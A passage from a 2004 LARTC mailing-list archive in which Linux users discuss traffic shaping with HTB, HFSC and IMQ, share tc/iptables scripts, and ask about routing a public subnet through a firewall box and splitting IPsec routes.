need to . Note the U32 filters are attached to 1:0 if I attached them to 
1:1 than I would need a rule to send traffic to 1:1.

I wouldn't trust the output of apps for bandwidth tests - their 
averaging can be confusing - also if it weren't just a test I would add 
queues to the classes. Saying that I did notice that HTB was dropping - 
maybe the default queue length is shorter now? It does seem a bit 
strange though, I see drops where I expect the queue to be long enough 
for my rwin and a class with two tcps on the go had less drops than one 
with one - strange.

It did work though use tc -s class ls dev imq0 to see rates (which for 
me using the new TC seem to be shown in the wrong units).

You may need to unwrap the lines if you copy n paste this:

set -x
IPTABLES=/usr/local/sbin/iptables
MODPROBE=/sbin/modprobe
IP=/sbin/ip
TC=/sbin/tc


$IPTABLES -t mangle -D PREROUTING -i ppp0 -j IMQ --todev 0 &> /dev/null
$IP link set imq0 down &> /dev/null
$MODPROBE -r imq &> /dev/null

if [ "$1" = "stop" ]
then
         echo "stopping"
         exit
fi

$MODPROBE imq numdevs=1
$IPTABLES -t mangle -I PREROUTING -i ppp0 -j IMQ --todev 0
$IP link set imq0 up

$TC qdisc add dev imq0 root handle 1:0 htb default 34

$TC class add dev imq0 parent 1:0 classid 1:1 htb rate 400kbit ceil 
400kbit burst 6k

#### 1 ####
$TC class add dev imq0 parent 1:1 classid 1:32 htb rate 133kbit ceil 
400kbit prio 1

$TC filter add dev imq0 protocol ip parent 1:0 prio 1 u32 match ip dst 
192.168.0.2 flowid 1:32

#### 2 ####
$TC class add dev imq0 parent 1:1 classid 1:33 htb rate 133kbit ceil 400kbit

$TC filter add dev imq0 protocol ip parent 1:0 prio 1 u32 match ip dst 
192.168.0.3 flowid 1:33

#### Default = traffic for local process ####

$TC class add dev imq0 parent 1:1 classid 1:34 htb rate 133kbit ceil 400kbit



Andy.




From yoyo <adrian.vasile@gmail.com>  Sat Oct 30 00:06:33 2004
From: yoyo <adrian.vasile@gmail.com> (yoyo)
Date: Fri, 29 Oct 2004 23:06:33 +0000
Subject: [LARTC] hfsc scheduler
Message-ID: <2f6c0cb2041029160678a8894b@mail.gmail.com>

hi all,

long time since i posted on the list.
just wondering if anybody has played around with hfsc and if so could
he/she share their info on it

thanks
adrian

-- 
To mess up a Linux box, you need to work at it; to mess up your Windows
box, you just need to work on it.

From jasonb@edseek.com  Sat Oct 30 00:20:35 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Fri, 29 Oct 2004 19:20:35 -0400
Subject: [LARTC] hfsc scheduler
In-Reply-To: <2f6c0cb2041029160678a8894b@mail.gmail.com>
References: <2f6c0cb2041029160678a8894b@mail.gmail.com>
Message-ID: <200410291920.35556.jasonb@edseek.com>

On Friday 29 October 2004 19:06, yoyo wrote:
> hi all,
>
> long time since i posted on the list.
> just wondering if anybody has played around with hfsc and if so could
> he/she share their info on it

http://www-2.cs.cmu.edu/afs/cs.cmu.edu/user/hzhang/WWW/HFSC/
http://www.tik.ee.ethz.ch/~crossbow/rp/plugins/hfsc.html
http://trash.net/~kaber/hfsc/

I'd be curious to see actual examples of usage, though.

-- 

Jason Boxman
Perl Programmer / *NIX Systems Administrator
Shimberg Center for Affordable Housing | University of Florida
http://edseek.com/ - Linux and FOSS stuff


From andy.furniss@dsl.pipex.com  Sat Oct 30 00:24:36 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Sat, 30 Oct 2004 00:24:36 +0100
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <4182BE2E.1050307@dsl.pipex.com>
References: <41812464.8010207@gmx.net> <41816D08.7000809@dsl.pipex.com> <4181DF19.7050502@gmx.net> <418261CE.30206@dsl.pipex.com> <4182638C.4020404@gmx.net> <4182BE2E.1050307@dsl.pipex.com>
Message-ID: <4182D134.5060203@dsl.pipex.com>

Andy Furniss wrote:

> 
> #### 1 ####
> $TC class add dev imq0 parent 1:1 classid 1:32 htb rate 133kbit ceil 
> 400kbit prio 1
I meant to delete the prio 1 - I don't know if it matters  - I tested 
with the other two.

Andy.



From yoyo <adrian.vasile@gmail.com>  Sat Oct 30 00:39:37 2004
From: yoyo <adrian.vasile@gmail.com> (yoyo)
Date: Fri, 29 Oct 2004 23:39:37 +0000
Subject: [LARTC] hfsc scheduler
In-Reply-To: <2f6c0cb204102916334a561453@mail.gmail.com>
References: <2f6c0cb2041029160678a8894b@mail.gmail.com>
 <200410291920.35556.jasonb@edseek.com>
 <2f6c0cb204102916334a561453@mail.gmail.com>
Message-ID: <2f6c0cb2041029163944829e6d@mail.gmail.com>

i remember on this list someone tried hfsc (he had some nice
comparison graphs between hfsc&htb) but i can't seem to find the
message in the archives.. :(


On Fri, 29 Oct 2004 23:33:25 +0000, yoyo <adrian.vasile@gmail.com> wrote:
> me too :)
> 
> 
> 
> 
> On Fri, 29 Oct 2004 19:20:35 -0400, Jason Boxman <jasonb@edseek.com> wrote:
> > On Friday 29 October 2004 19:06, yoyo wrote:
> > > hi all,
> > >
> > > long time since i posted on the list.
> > > just wondering if anybody has played around with hfsc and if so could
> > > he/she share their info on it
> >
> > http://www-2.cs.cmu.edu/afs/cs.cmu.edu/user/hzhang/WWW/HFSC/
> > http://www.tik.ee.ethz.ch/~crossbow/rp/plugins/hfsc.html
> > http://trash.net/~kaber/hfsc/
> >
> > I'd be curious to see actual examples of usage, though.
> >
> > --
> >
> > Jason Boxman
> > Perl Programmer / *NIX Systems Administrator
> > Shimberg Center for Affordable Housing | University of Florida
> > http://edseek.com/ - Linux and FOSS stuff
> >
> > _______________________________________________
> > LARTC mailing list / LARTC@mailman.ds9a.nl
> > http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> >
> 
> --
> To mess up a Linux box, you need to work at it; to mess up your Windows
> box, you just need to work on it.
> 


-- 
To mess up a Linux box, you need to work at it; to mess up your Windows
box, you just need to work on it.

From andy.furniss@dsl.pipex.com  Sat Oct 30 01:03:57 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Sat, 30 Oct 2004 01:03:57 +0100
Subject: [LARTC] hfsc scheduler
In-Reply-To: <2f6c0cb2041029163944829e6d@mail.gmail.com>
References: <2f6c0cb2041029160678a8894b@mail.gmail.com>	 <200410291920.35556.jasonb@edseek.com>	 <2f6c0cb204102916334a561453@mail.gmail.com> <2f6c0cb2041029163944829e6d@mail.gmail.com>
Message-ID: <4182DA6D.2040401@dsl.pipex.com>

yoyo wrote:
> i remember on this list someone tried hfsc (he had some nice
> comparison graphs between hfsc&htb) but i can't seem to find the
> message in the archives.. :(

This one.

Andy.


Vincent Perrier wrote:

 > HTB versus HFSC, both qdisc offer the same kind of service,
 > if you want to see comparative test results, go to
 > http://www.rawsoft.org
 > at the line "TEST RESULTS" you will find the results for
 > a sharing test and a burst test.
 > You will see that both qdisc are good.


Nice comparision, very interesting. Note that you have a small
misconfiguration in your HFSC setup. On page 8 you say "The
shaping is impacted by real time bursts". This is only because
your real-time classes are not part of the link-sharing hierarchy.
If you add link-share curves to the real-time classes which are
equal to the real-time curves shaping won't be impacted.

Regards
Patrick


From andy.furniss@dsl.pipex.com  Sat Oct 30 01:34:18 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Sat, 30 Oct 2004 01:34:18 +0100
Subject: [LARTC] Limiting Bandwidth of an ppp interfaces
In-Reply-To: <019601c4bd89$92713b40$95f0a8c0@intern.dunkel.de>
References: <007d01c4bc07$e05953c0$95f0a8c0@intern.dunkel.de> <4181701A.2020001@dsl.pipex.com> <019601c4bd89$92713b40$95f0a8c0@intern.dunkel.de>
Message-ID: <4182E18A.5010904@dsl.pipex.com>

Florian Taeger wrote:
> Hi.
> 
> 
>>If the traffic from all the ppps leave by one interface then you could
>>mark packets by incoming interface and set up egress shaping with say
>>HTB on that interface.
> 
> 
> There is only one eth0 interface to the internet and many ppp for the users.
> 
> So ... I have to shape every traffic from the ppp interfaces to eth0
> (internet) and the same way around, don't I ??

I think you should think about what Eric says - I don't have experience 
with many ppps and I guess you will need to use scripts per ppp.

For Egress you can add a TBF per ppp.

For ingress you could add a policer to each or you could use IMQ, but 
you would need one device per ppp. To this you could then add a TBF to 
ratelimit. This will not involve iptables.

Iptables plus HTB on eth is still a non IMQ option for doing ingress - 
depends on detail though :-)

I am assuming that you don't want to do any sort of QOS for the customers.


> 
> How would it be done with htb ??
> 
> The problem ist - 50% of all the traffic on eth0 is to establish the ppp
> session through a l2tp tunnel and the other 50% are for the real traffic to
> the internet. So i only want to shape down the traffic from or to the ppp
> interfaces. But I can't shape the whole traffic on eth0. So ... will there
> be any problems regarding this ?

I think it would be OK. HTB has a default class for traffic it can't 
classify AFAIK the default for this is no limits. Or you could just make 
a class with a big limit.

> 
> Of course i read the docs, but I just don't know how exactly to generate the
> shape-filter for this. I know i have to establish a root entry and make
> another entry for every ppp device. but how do i connect the interfaces an
> the traffic ?!? How would I generate this "hard limit" for the traffic ?

Exactly how you do things depends on whether you can get your scripts to 
set a mark for a new ppp that relates it to a specific customer. If you 
can do this and inserting the rules into running iptables works OK then 
you could have an HTB class already setup on eth0 for each customers rates.

Andy.




> 
> Many thanks for the help.
> 
> Regards
> 
> F.Taeger
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 



From stef.coene@docum.org  Sat Oct 30 11:40:25 2004
From: stef.coene@docum.org (Stef Coene)
Date: Sat, 30 Oct 2004 12:40:25 +0200
Subject: [LARTC] CBQ: sibling isolated-classes lend out bandwidth
In-Reply-To: <1099067066.1643.4.camel@setebos>
References: <1099067066.1643.4.camel@setebos>
Message-ID: <200410301240.25496.stef.coene@docum.org>

On Friday 29 October 2004 18:24, Sebastian Spies wrote:
> How can it be, that class 1:3 in my case borrows, when all sibling
> classes are isolated ?
=46orget about isolated, I neve got it working.
http://www.docum.org/docum.org/tests/cbq/filter.php


Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From stef.coene@docum.org  Sat Oct 30 11:48:48 2004
From: stef.coene@docum.org (Stef Coene)
Date: Sat, 30 Oct 2004 12:48:48 +0200
Subject: [LARTC] Some question
In-Reply-To: <02d801c4bce6$6dc19680$15a02bca@gsd03>
References: <20041002051054.7568.11027.Mailman@outpost.ds9a.nl> <200410281352.08870.stef.coene@docum.org> <02d801c4bce6$6dc19680$15a02bca@gsd03>
Message-ID: <200410301248.48685.stef.coene@docum.org>

On Thursday 28 October 2004 14:05, Key wrote:
> Sometimes i have to face situation like that,
> so how about if ip address 192.168.1.1 should get
> bandwidth only from 2:20 and become first time to check,
> configuring the prio?
You can use filters with different prio.  The filters with the lowest prio=
=20
will be checked first.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From avidianto@softhome.net  Sat Oct 30 22:13:24 2004
From: avidianto@softhome.net (Avidianto Widodo)
Date: Sun, 31 Oct 2004 04:13:24 +0700
Subject: [LARTC] shaping without delay
Message-ID: <002001c4bec5$4af32520$0be9a8c0@aku>

Hi,

How can I configure shaping bandwidth on htb/cbq without delay or latency?
Please give some example.

Thank's



From citibiznet@isotopgroups.com  Sat Oct 30 17:16:26 2004
From: citibiznet@isotopgroups.com (CITIBIZNet)
Date: Sat, 30 Oct 2004 23:16:26 +0700
Subject: [LARTC] shaping without delay
Message-ID: <001401c4be9b$ce907b00$0ce9a8c0@marketing>

This is a multi-part message in MIME format.

------=_NextPart_000_0011_01C4BED6.7AD6E900
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

how can I configure for shaping bandwith using cbq/htb without delay or =
latency?
------=_NextPart_000_0011_01C4BED6.7AD6E900
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT face=3DArial size=3D2>how can I configure for shaping =
bandwith using=20
cbq/htb without delay or latency?</FONT></DIV></DIV></BODY></HTML>

------=_NextPart_000_0011_01C4BED6.7AD6E900--


From andy.furniss@dsl.pipex.com  Sun Oct 31 12:03:39 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Sun, 31 Oct 2004 12:03:39 +0000
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <4182BE2E.1050307@dsl.pipex.com>
References: <41812464.8010207@gmx.net> <41816D08.7000809@dsl.pipex.com> <4181DF19.7050502@gmx.net> <418261CE.30206@dsl.pipex.com> <4182638C.4020404@gmx.net> <4182BE2E.1050307@dsl.pipex.com>
Message-ID: <4184D49B.2030100@dsl.pipex.com>

Andy Furniss wrote:
> Saying that I did notice that HTB was dropping - 
> maybe the default queue length is shorter now? It does seem a bit 
> strange though, I see drops where I expect the queue to be long enough 
> for my rwin and a class with two tcps on the go had less drops than one 
> with one - strange.

I took another look at this and it's because the default queue length of 
the default class is shorter than the default for a normal class.

Andy.


From lartc@draxinusom.ch  Sun Oct 31 15:55:57 2004
From: lartc@draxinusom.ch (Rene Gallati)
Date: Sun, 31 Oct 2004 16:55:57 +0100
Subject: [LARTC] Howto route through
Message-ID: <41850B0D.9000409@draxinusom.ch>

Hello list,

I'm having a little trouble imagining a setup I'll soon have.

I am in the process of getting a routed /28 to my homeLAN. What I want 
to do is to put a linux box in front of the lan to filter some of the 
unneeded and potential dangerous ports. Now the box has 2 nics, one for 
the inside one for the outside.

How should I go on to setup those NICs when
a) the PCs in the net should have their official IP address from the /28 net
and
b) the filtering linux box should at the same time have one IP address 
from the same range for some services it provides

The dilemma I see (maybe it is none but I just don't know)
if I put it this way that I have the IP of the /28er range on one nic 
and nothing to put on the other ?

Example: Range is 1.2.3.0/28 (1.2.3.0 - 1.2.3.15)

           eth0:  1.2.3.1   eth1: ???
---- Internet ------- FW Box ------ LAN (1.2.3.0/28)

The FW box should be reachable by both the hosts in the LAN as well as 
from the internet using the assigned IP. Don't I run into troubles 
having an IP on one NIC which does belong to a net that is located on 
the side of another NIC ?

I know that the most specific entry (full IP) overrides or wins over the 
less specific ones (the net) but does this setup work so that the LAN 
clients can access the FW box just like every other host on the 
internet? How do I configure eth1 ? Just bring it up without any IP at all?

Or should I better make the FW box a transparent bridge for the 
filtering with one IP where it reacts itself ?

Thanks for all hints

CU

René

From chris@symbio.com  Sun Oct 31 17:32:43 2004
From: chris@symbio.com (Chris Bennett)
Date: Sun, 31 Oct 2004 11:32:43 -0600
Subject: [LARTC] Howto route through
References: <41850B0D.9000409@draxinusom.ch>
Message-ID: <000701c4bf6f$a1010450$050ea8c0@DELTA>

What I do is have the linux box claim all of the public IPs as its own, and 
then use IPTABLES to DNAT/SNAT to/from private IPs as needed.  You can 
dedicate a public IP to a specific private IP, so the computer on your 
network with that private IP appears to all of the world as if it actually 
has the public IP.  This has the added advantage that if your public IPs 
change for some reason, you just need to update IPTABLEs and the computers 
on your network will only need slight (if any) tweaking.

In this setup, all of your public IPs are on one ethernet port, and all of 
your private IPs are on the other.  If you desire, you can give one of the 
public IPs to the linux box itself (though for security reasons, I 
personally do not do this... in fact, the only traffic I let the linux box 
pass to the internet is forwarded packets... nothing originating from 
itself).

This may be what you had in mind when you considered the option of a 
transparent bridge...

----- Original Message ----- 
From: "Rene Gallati" <lartc@draxinusom.ch>
To: <LARTC@mailman.ds9a.nl>
Sent: Sunday, October 31, 2004 9:55 AM
Subject: [LARTC] Howto route through


> Hello list,
>
> I'm having a little trouble imagining a setup I'll soon have.
>
> I am in the process of getting a routed /28 to my homeLAN. What I want to 
> do is to put a linux box in front of the lan to filter some of the 
> unneeded and potential dangerous ports. Now the box has 2 nics, one for 
> the inside one for the outside.
>
> How should I go on to setup those NICs when
> a) the PCs in the net should have their official IP address from the /28 
> net
> and
> b) the filtering linux box should at the same time have one IP address 
> from the same range for some services it provides
>
> The dilemma I see (maybe it is none but I just don't know)
> if I put it this way that I have the IP of the /28er range on one nic and 
> nothing to put on the other ?
>
> Example: Range is 1.2.3.0/28 (1.2.3.0 - 1.2.3.15)
>
>           eth0:  1.2.3.1   eth1: ???
> ---- Internet ------- FW Box ------ LAN (1.2.3.0/28)
>
> The FW box should be reachable by both the hosts in the LAN as well as 
> from the internet using the assigned IP. Don't I run into troubles having 
> an IP on one NIC which does belong to a net that is located on the side of 
> another NIC ?
>
> I know that the most specific entry (full IP) overrides or wins over the 
> less specific ones (the net) but does this setup work so that the LAN 
> clients can access the FW box just like every other host on the internet? 
> How do I configure eth1 ? Just bring it up without any IP at all?
>
> Or should I better make the FW box a transparent bridge for the filtering 
> with one IP where it reacts itself ?
>
> Thanks for all hints
>
> CU
>
> René
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 


From stef.coene@docum.org  Sun Oct 31 17:32:30 2004
From: stef.coene@docum.org (Stef Coene)
Date: Sun, 31 Oct 2004 18:32:30 +0100
Subject: [LARTC] Howto route through
In-Reply-To: <41850B0D.9000409@draxinusom.ch>
References: <41850B0D.9000409@draxinusom.ch>
Message-ID: <200410311832.30566.stef.coene@docum.org>

On Sunday 31 October 2004 16:55, Rene Gallati wrote:
> Hello list,
>
> I'm having a little trouble imagining a setup I'll soon have.
>
> I am in the process of getting a routed /28 to my homeLAN. What I want
> to do is to put a linux box in front of the lan to filter some of the
> unneeded and potential dangerous ports. Now the box has 2 nics, one for
> the inside one for the outside.
>
> How should I go on to setup those NICs when
> a) the PCs in the net should have their official IP address from the /28
> net and
> b) the filtering linux box should at the same time have one IP address
> from the same range for some services it provides
>
> The dilemma I see (maybe it is none but I just don't know)
> if I put it this way that I have the IP of the /28er range on one nic
> and nothing to put on the other ?
You can give the nics the same ip address.  Just be carefull with the routi=
ng,=20
you need the specify the nic when you add a route so the packets are going=
=20
out on the interface they have too.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From stef.coene@docum.org  Sun Oct 31 17:33:10 2004
From: stef.coene@docum.org (Stef Coene)
Date: Sun, 31 Oct 2004 18:33:10 +0100
Subject: [LARTC] shaping without delay
In-Reply-To: <002001c4bec5$4af32520$0be9a8c0@aku>
References: <002001c4bec5$4af32520$0be9a8c0@aku>
Message-ID: <200410311833.10446.stef.coene@docum.org>

On Saturday 30 October 2004 23:13, Avidianto Widodo wrote:
> Hi,
>
> How can I configure shaping bandwidth on htb/cbq without delay or latency?
> Please give some example.
You can not shape without delay or latency.  You can only try to minimize t=
he=20
delay or latency for certain connections.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From tbs09799@students.fct.unl.pt  Mon Nov  1 00:20:06 2004
From: tbs09799@students.fct.unl.pt (=?ISO-8859-1?Q?Tiago_Bruno_Esp=EDrito_Santo_Silva?=)
Date: Mon, 01 Nov 2004 00:20:06 +0000
Subject: [LARTC] shaping without delay
In-Reply-To: <200410311833.10446.stef.coene@docum.org>
References: <002001c4bec5$4af32520$0be9a8c0@aku> <200410311833.10446.stef.coene@docum.org>
Message-ID: <41858136.6010007@students.fct.unl.pt>

Minimize having a good CPU...every thing that travels lost some 
time...even in the wire or in the air :) or in the vacum the 
comunications with the MARS have biiiiiiiiiig delays :)
Stef Coene wrote:

>On Saturday 30 October 2004 23:13, Avidianto Widodo wrote:
>  
>
>>Hi,
>>
>>How can I configure shaping bandwidth on htb/cbq without delay or latency?
>>Please give some example.
>>    
>>
>You can not shape without delay or latency.  You can only try to minimize the 
>delay or latency for certain connections.
>
>Stef
>
>  
>



From gypsy@iswest.com  Mon Nov  1 02:47:21 2004
From: gypsy@iswest.com (gypsy)
Date: Sun, 31 Oct 2004 18:47:21 -0800
Subject: [LARTC] Howto route through
References: <41850B0D.9000409@draxinusom.ch>
Message-ID: <4185A3B9.5C2BF600@iswest.com>

Rene Gallati wrote:
> 
> Hello list,
> 
> I'm having a little trouble imagining a setup I'll soon have.
> 
> I am in the process of getting a routed /28 to my homeLAN. What I want
> to do is to put a linux box in front of the lan to filter some of the
> unneeded and potential dangerous ports. Now the box has 2 nics, one for
> the inside one for the outside.
> 
> How should I go on to setup those NICs when
> a) the PCs in the net should have their official IP address from the /28 net
> and
> b) the filtering linux box should at the same time have one IP address
> from the same range for some services it provides


I just finished one of these.

I used proxyARP to make the external interface listen to my 5 (I have a
/29 not a /28) IPs.  You will be led down the garden path if you try
just proxyARP; I had to use SNAT rules.  You don't (normally) need DNAT,
but (for me at least) _NOTHING_ will forward without SNAT.  My SNAT
rules start with my first external IP and work up: .154 --to .154 then
.155 to .155 then .156 to .156 then .157 to .157 and finally .152/29 to
.158.  .153 is my default gateway.

I have asked all over the web for assistance in routing without needing
SNAT but have not been able to route such that proxyARP works without
SNAT.  If you figure out how to do that, I'd really appreciate it.

I then built a rudimentary firewall for this computer.  The only
services it runs are sshd and identd.  The firewall's main purpose is to
protect a Win2K Server that sits on .157.  All the other boxes have
their own firewalls.

The beauty of this is that it lets me HTB shape both incoming and
outgoing packets without IMQ.  The problem I have is that I made this
"front line" computer out of spare parts and the AMD 266 is not enough
CPU.  When HTB starts to queue/delay, things like typing at the keyboard
becomes sluggish and packet handling slows.

Read Martin Brown's HOWTO (sorry, I've forgotten the chapter #), the
LARTC HOWTO (chapter 16.2) and Dave Weiss (Weiss's setup script fails
but the write up is correct) proxyARP page.  You can find these with
google or I'll post URLs on request.

gypsy

From mingching.tiew@redtone.com  Mon Nov  1 07:01:34 2004
From: mingching.tiew@redtone.com (Ming-Ching Tiew)
Date: Mon, 1 Nov 2004 15:01:34 +0800
Subject: [LARTC] Ipsec route and non-ipsec route
Message-ID: <023b01c4bfe0$9fba1b10$0100a8c0@newlife>

I am machines on IPsec VPN which is a subnet of my bigger
LAN ( ie I have machines on the LAN which is not in the VPN ), 
specifically :-


192.168.132.0/29:0 -> internet ---> 192.168.1.192/27:0 
 ( local subnet ---> internet--> remote subnet )

# ip route list
...
192.168.1.192/27 via 21x.18x.11x.8x dev ipsec0
192.168.1.0/24 via 192.168.15.146 dev eth0
...

Now, the machines in the local subnet ***INSIDE*** 192.168.132.0/29 
when accessing remote subnet 192.168.1.192/27 are routed to the 
internet using VPN and  this is behaving correctly.

But machines in the local subnet ***OUTSIDE*** of 192.168.132.0/29, 
when accessing remote subnet 192.168.1.192/27 is also routed to the 
ipsec0 via 21x.18x.11x.8x ( as shown by the route list above ), instead
of 192.168.15.146 ( which is an alternative route for machines outside
of the VPN ). 

How do I accomplish this ?




 






From zgiorgadze@gol.ge  Mon Nov  1 08:23:10 2004
From: zgiorgadze@gol.ge (Zviad O. Giorgadze)
Date: Mon, 1 Nov 2004 11:23:10 +0300
Subject: [LARTC] Looking to reccomendations
Message-ID: <20041101092440.D11E26CB649@mail.caucasus.net>

Hello LARTC,

Description of situation
=================
I have two ADSL connections, one at work (ISP #1) and one at home (different ISP #2).
At work I have Linux box for firewalling and NAT (and 5 PC-s in internal - LAN #1). The same is for home (1 Linux box, 1 notebook - LAN #2).
Both ADSL connections has bandwidth limiting only for GLOBAL resources (160kbit for ISP #1 and 115kbit for ISP#2), bandwidth between ISP #1 and ISP #2 is limited only by ADSL speed (1mbit upload, 8mbit download).

Question
=======
What is the better way to connect both networks (LAN #1 and LAN #2) together (something like the VPN), but have the possibility to use bandwidth of both ISP-s together (when I am at work, my home ADSL is idle and when I am at home, my work ADSL is idle)?  

Looking for reccomendations.

Regards, 

Zviad




From syrius.ml@no-log.org  Mon Nov  1 12:46:03 2004
From: syrius.ml@no-log.org (syrius.ml@no-log.org)
Date: Mon, 01 Nov 2004 13:46:03 +0100
Subject: [LARTC] hfsc scheduler
In-Reply-To: <2f6c0cb2041029163944829e6d@mail.gmail.com> (adrian.vasile@gmail.com's
 message of "Fri, 29 Oct 2004 23:39:37 +0000")
References: <2f6c0cb2041029160678a8894b@mail.gmail.com>
 <200410291920.35556.jasonb@edseek.com>
 <2f6c0cb204102916334a561453@mail.gmail.com>
 <2f6c0cb2041029163944829e6d@mail.gmail.com>
Message-ID: <874qk994z5.873bzt94z5@871xfd94z5.message.id>

I'm using HFSC. But I haven't had time to really understand how to
correctly define curves. So i'm using it the linear way.
I'm just using a rt service curve for my interactive class. (but the
root class is a linear one)

for sure a simple example for a real case could help.
hmm in my case on my 2028/256kbits adsl line: my classes are roughly
defined like this:
      root 
     /      \
interactive bulk_parent
            /        \
          normal     boring_bulk_parent
                      /              \
              syn+small_acks        real_boring_bulk
                                    /     |       \
                                   host1 host2    host3

(ul rates are near 240kbits, it's a bit less for "boring" classes)

My interactive class is defined like this:
... ls umax ${MTU}b dmax 25ms rate ${MAX}kbit \
    rt umax ${MTU}b dmax 25ms rate ${MAX}kbit

25ms, it's a bit less than the latency i have when my link isn't used.

i guess my setup is not really coherent. bulk_parent shouldn't be a
linear service class. And if that's true, all its leaf classes
shouldn't be linear services ones.

another thing, (an example is better than a long long phrase:)
using the same class tree with htb:
 host[1-3] upload at 25kB/s, if I start a ftp upload (normal bulk
 class), it takes precedence, host[1-3] are slowed and the ftp upload
 gets(sends at) more than 25kB/s
I'd like to use HFSC and always have that behavior.

I'm pretty sure a howto-use-hfsc-in-real-context+faq could help. :)
unfortunatly I'm afraid not a lot of people can write it :)
i've read the theory docs, english isn't not my monther tongue language
and for me there's a huge gap between hfsc theory and hfsc in a real
situation.

Anyway, many thanks to Patrick for his work and the documentation he
wrote.

at the moment, for my usage, i prefer to use HFSC rather than HTB.


-- 

From lartc@draxinusom.ch  Mon Nov  1 14:44:44 2004
From: lartc@draxinusom.ch (Rene Gallati)
Date: Mon, 01 Nov 2004 15:44:44 +0100
Subject: [LARTC] Howto route through
In-Reply-To: <200410311832.30566.stef.coene@docum.org>
References: <41850B0D.9000409@draxinusom.ch> <200410311832.30566.stef.coene@docum.org>
Message-ID: <41864BDC.5030901@draxinusom.ch>

Stef Coene wrote:

> On Sunday 31 October 2004 16:55, Rene Gallati wrote:
> 
>>Hello list,
>>
>>I'm having a little trouble imagining a setup I'll soon have.
>>
>>I am in the process of getting a routed /28 to my homeLAN. What I want
>>to do is to put a linux box in front of the lan to filter some of the
>>unneeded and potential dangerous ports. Now the box has 2 nics, one for
>>the inside one for the outside.
>>
>>How should I go on to setup those NICs when
>>a) the PCs in the net should have their official IP address from the /28
>>net and
>>b) the filtering linux box should at the same time have one IP address
>>from the same range for some services it provides
>>
>>The dilemma I see (maybe it is none but I just don't know)
>>if I put it this way that I have the IP of the /28er range on one nic
>>and nothing to put on the other ?
> 
> You can give the nics the same ip address.  Just be carefull with the routing, 
> you need the specify the nic when you add a route so the packets are going 
> out on the interface they have too.

Hm that is a solution, however how do I "attract" the traffic for the
PCs in the LAN? I can either assign all IPs as aliases which looks a bit
crude or use proxyArp or bridging to convey the traffic over from one
side to the other.

At the moment, transparent bridge filter looks like the best idea to me,
however the lan nic is a gigE card so I don't know if running it in
promiscous all the time would be a good idea.

CU

René


From route@irax.com  Mon Nov  1 14:51:48 2004
From: route@irax.com (routing)
Date: Mon, 01 Nov 2004 14:51:48 +0000
Subject: [LARTC] routing question
Message-ID: <41864D84.1030501@irax.com>

So far I have been used to using linux to provide simple routing from my 
network to others using commands such as ip route add 192.168.1.0/24 via 
192.168.0.4 etc and it has all worked perfectly.
I also use smoothwall GPL to provice vpn services, however I have hit on 
a problem and am not at all clear on the way in which to proceed.
I now need to provide a route to services, the access to these is 
provided by a router on a network on the far end of a VPN. the  
computers on the  remote network can see the service I need to access, 
however when I try to provice a route to that system using a router on 
the remoted network by issuing a command such as 192.168.5.0/24 via 
192.168.15.6  in the router at 192.168.0.4 I get the following :-
RTNETLINK answers: Network is unreachable.

My question is , what way of providing access to this route do I need to 
follow, Is it GRE tunnels (not the best option as I don't have enough 
information on the remote router configurations and am not able to 
change their settings).  Do I have to use  new routing tables  or is 
there something else I must do to get this working?

From lartc@draxinusom.ch  Mon Nov  1 14:56:02 2004
From: lartc@draxinusom.ch (Rene Gallati)
Date: Mon, 01 Nov 2004 15:56:02 +0100
Subject: [LARTC] Howto route through
In-Reply-To: <000701c4bf6f$a1010450$050ea8c0@DELTA>
References: <41850B0D.9000409@draxinusom.ch> <000701c4bf6f$a1010450$050ea8c0@DELTA>
Message-ID: <41864E82.9070307@draxinusom.ch>

Hello,

> What I do is have the linux box claim all of the public IPs as its own, 
> and then use IPTABLES to DNAT/SNAT to/from private IPs as needed.  You 
> can dedicate a public IP to a specific private IP, so the computer on 
> your network with that private IP appears to all of the world as if it 
> actually has the public IP.  This has the added advantage that if your 
> public IPs change for some reason, you just need to update IPTABLEs and 
> the computers on your network will only need slight (if any) tweaking.

That is basically what I am doing currently (with only one IP though 
obtained via cablemodem). However the person that makes all of this 
happen (SHDSL+ leased line) absolutely wants the public IP on his 
machine so I can't go that route.

The IPs however are unlikely to change in the foreseeable future, they 
are assigned and the person who makes this possible owns them as he is a 
(small) ISP. So changing should not occur.

> In this setup, all of your public IPs are on one ethernet port, and all 
> of your private IPs are on the other.  If you desire, you can give one 
> of the public IPs to the linux box itself (though for security reasons, 
> I personally do not do this... in fact, the only traffic I let the linux 
> box pass to the internet is forwarded packets... nothing originating 
> from itself).

Well at least SSH for management is usually what I do. However I do run 
other things on the fw box. Most of it is bound to the lan if only, so I 
don't see any problem with it security wise.

> This may be what you had in mind when you considered the option of a 
> transparent bridge...

No I really meant a transparent bridge as in

brctl addbr br0
brctl addif br0 lan
